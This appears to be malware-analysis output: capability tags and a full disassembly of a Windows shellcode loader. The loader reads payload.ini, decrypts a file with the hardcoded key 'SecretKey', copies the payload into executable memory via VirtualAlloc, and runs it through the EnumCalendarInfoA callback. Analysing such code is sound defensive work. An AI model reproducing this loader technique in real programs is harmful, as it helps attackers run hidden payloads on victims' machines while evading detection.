Function at 0x1400014c1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x440], ecx
mov qword [rbp + 0x448], rdx
call fcn.14000aba0
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.14006d060
lea rdx, [rbp + 0x3df]
lea rax, [rbp + 0x3b0]
mov r8, rdx
lea rdx, str.payload.ini
mov rcx, rax
call fcn.1400a2720
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.14006d090
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x1d0]
mov r8d, 8
mov rcx, rax
call fcn.14008fa20
lea rax, [rbp + 0x1d0]
add rax, 0xd0
mov rcx, rax
call fcn.140066460
test al, al
je 0x14000159e
lea rax, str.open_config_file_error:
mov rdx, rax
mov rax, qword [0x1400c0f40]
mov rcx, rax
call fcn.1400b35f0
mov rcx, rax
lea rax, [rbp + 0x3b0]
mov rdx, rax
call fcn.1400b38f0
mov rcx, rax
mov rax, qword [0x1400c0f50]
mov rdx, rax
call fcn.140075ed0
mov ebx, 1
jmp 0x140001853
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.1400a2500
lea rdx, [rbp + 0x1b0]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400b0cd0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.14008f620
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x30]
mov r8d, 4
mov rcx, rax
call fcn.14008fa20
lea rax, [rbp - 0x30]
add rax, 0xd0
mov rcx, rax
call fcn.140066460
test al, al
je 0x140001648
lea rax, str.open_encrypted_file_error:
mov rdx, rax
mov rax, qword [0x1400c0f40]
mov rcx, rax
call fcn.1400b35f0
mov rcx, rax
lea rax, [rbp + 0x1b0]
mov rdx, rax
call fcn.1400b38f0
mov rcx, rax
mov rax, qword [0x1400c0f50]
mov rdx, rax
call fcn.140075ed0
mov ebx, 1
jmp 0x140001838
lea rax, [rbp - 0x30]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.1400721b0
lea rax, [rbp + 0x3e0]
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.1400722c0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.1400269f0
mov qword [rbp + 0x418], rax
lea rax, [rbp - 0x30]
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.1400721b0
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.14006d0e0
lea rcx, [rbp + 0x3ff]
mov rdx, qword [rbp + 0x418]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call fcn.14009e6a0
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.14006d130
mov rbx, qword [rbp + 0x418]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14009e640
mov rdx, rax
lea rax, [rbp - 0x30]
mov r8, rbx
mov rcx, rax
call fcn.140071e20
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14008f620
movabs rax, 0x654b746572636553
mov qword [rbp - 0x5a], rax
mov word [rbp - 0x52], 0x79
mov qword [rbp + 0x410], 9
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14009e640
mov rcx, rax
mov r8, qword [rbp + 0x410]
lea rdx, [rbp - 0x5a]
mov rax, qword [rbp + 0x418]
mov r9, r8
mov r8, rdx
mov rdx, rax
call fcn.140001450
mov rax, qword [rbp + 0x418]
mov rcx, rax
call fcn.1400b5f80
mov qword [rbp + 0x408], rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14009e610
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14009e670
mov rdx, qword [rbp + 0x408]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call fcn.1400b0b30
mov rax, qword [rbp + 0x418]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x400], rax
mov rcx, qword [rbp + 0x418]
mov rdx, qword [rbp + 0x408]
mov rax, qword [rbp + 0x400]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x400]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call rax
cmp qword [rbp + 0x408], 0
je 0x140001827
mov rax, qword [rbp + 0x408]
mov rcx, rax
call fcn.1400b5f50
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14009e720
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140090170
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.1400a2e40
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.140090170
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400a2e40
mov eax, ebx
jmp 0x140001910
add rsp, 0x4a8
pop rbx
pop rbp
ret